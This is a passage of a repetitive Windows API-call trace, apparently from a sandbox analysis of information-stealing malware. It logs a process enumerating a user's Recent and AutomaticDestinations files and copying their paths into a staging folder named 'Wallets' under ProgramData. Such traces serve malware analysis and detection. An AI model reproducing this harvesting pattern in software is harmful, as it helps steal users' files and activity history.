lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.421] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="a68aJeOpndOB5SUqVo.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\a68aJeOpndOB5SUqVo.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\a68aJeOpndOB5SUqVo.lnk" [0052.421] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.421] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="A73L3ATHLCnuL_A_CgW7.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A73L3ATHLCnuL_A_CgW7.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A73L3ATHLCnuL_A_CgW7.lnk" [0052.421] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.421] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.421] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="A73L3ATHLCnuL_A_CgW7.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\A73L3ATHLCnuL_A_CgW7.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\A73L3ATHLCnuL_A_CgW7.lnk" [0052.421] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.421] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="aPnkAR.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnkAR.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnkAR.lnk" [0052.421] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.421] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.421] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="aPnkAR.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\aPnkAR.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\aPnkAR.lnk" [0052.422] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.422] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="apRvy-fsE9.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\apRvy-fsE9.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\apRvy-fsE9.lnk" [0052.422] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.422] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.422] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="apRvy-fsE9.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\apRvy-fsE9.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\apRvy-fsE9.lnk" [0052.422] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.422] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="aSGThiP_I6Ppd.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aSGThiP_I6Ppd.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aSGThiP_I6Ppd.lnk" [0052.422] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.422] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.422] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="aSGThiP_I6Ppd.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\aSGThiP_I6Ppd.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\aSGThiP_I6Ppd.lnk" [0052.422] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.422] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.422] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.422] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.422] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.422] lstrcmpW (lpString1="AutomaticDestinations", lpString2=".") returned 1 [0052.422] lstrcmpW (lpString1="AutomaticDestinations", lpString2="..") returned 1 [0052.422] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*" [0052.422] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a4c0 [0052.422] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\." [0052.422] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.423] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.423] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\." [0052.423] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.423] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.423] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\.." [0052.423] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.423] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.423] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\.." [0052.423] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.423] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.423] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.423] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="1bc9bbbe61f14501.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms" [0052.423] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.423] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.423] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="1bc9bbbe61f14501.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms" [0052.423] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.423] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="319f01bf9fe00f2d.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms" [0052.423] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.423] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.423] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="319f01bf9fe00f2d.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms" [0052.423] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.423] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", 